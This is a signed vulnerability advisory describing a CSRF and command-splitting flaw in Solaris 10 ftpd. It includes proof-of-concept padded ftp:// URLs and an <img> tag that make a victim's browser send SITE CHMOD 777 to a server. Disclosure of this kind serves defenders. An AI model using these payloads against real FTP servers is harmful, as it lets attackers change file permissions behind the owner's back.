-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ Sun Solaris 10 ftpd Cross-site request forgery ]
Author: Maksymilian Arciemowicz
SecurityReason.com
Date:
Affected Software:
Original URL:
http://securityreason.com/achievement_securityalert/84
CWE-352:
When a web server is designed to receive a request from a client without any mechanism
for verifying that it was intentionally sent, then it might be possible for an attacker
to trick a client into making an unintentional request to the web server which will be
treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest,
etc. and can result in data disclosure or unintended code execution.
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////stat
or
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////pwd
tested od firefox 3.6.3
Example 2 (2048):
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////pwd
will be split for:
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////
and
pwd
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////site
chmod 777 .
The situation, can be dangerous, when this bug will be exploited like any CSRF attack.
We can use SITE CHMOD command to change file permission or other combinations with ftp
commands. Only we need some exploit and luck, that admin will executed exploited url.
How to exploit it?
Creating some html file with <img> tags
<img src="ftp://…////SITE%20CHMOD%20777%20FILENAME">
…
Give preparing URL for user.
Example:
ftp://…////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
//SITE%20CHMOD%20777%20EXAMPLEFILE
will change permision to EXAMPLEFILE when the owner will use this URL.
I think, it should be some byte, what inform about overflowing (empty command should
nulling this byte), like in openbsd fix for ftpd.
This vulnerability can also be used not only as CSRF. If we create an interface based on
PHP-ftp, you can inject arbitrary FTP command, bypassing the access to the FTP server.
Similar vulnerabilities (1024chars split):
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-014.txt.asc
http://security.freebsd.org/advisories/FreeBSD-SA-08:12.ftpd.asc
http://security.freebsd.org/advisories/FreeBSD-SA-09:01.lukemftpd.asc
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/extern.h#rev1.55.8.1
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpcmd.y#rev1.84.8.1
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpd.c#rev1.177.6.4
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/version.h#rev1.65.12.2
— 3. Greets —
sp3x Infospec pi3
— 4. Contact —
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
GPG:
http://securityreason.com/
http://securityreason.com/exploit_alert/ - Exploit Database
http://securityreason.com/security_alert/ - Vulnerability Database
-----BEGIN PGP SIGNATURE-----
iEYEARECAAYFAkv2dacACgkQpiCeOKaYa9ZuwwCfcLbAFFQOpZ4+2j5sSOvNUa97
7HEAoJLTh6ygjroFhJuboBfgRuIhFEoh
=5zDe
-----END PGP SIGNATURE-----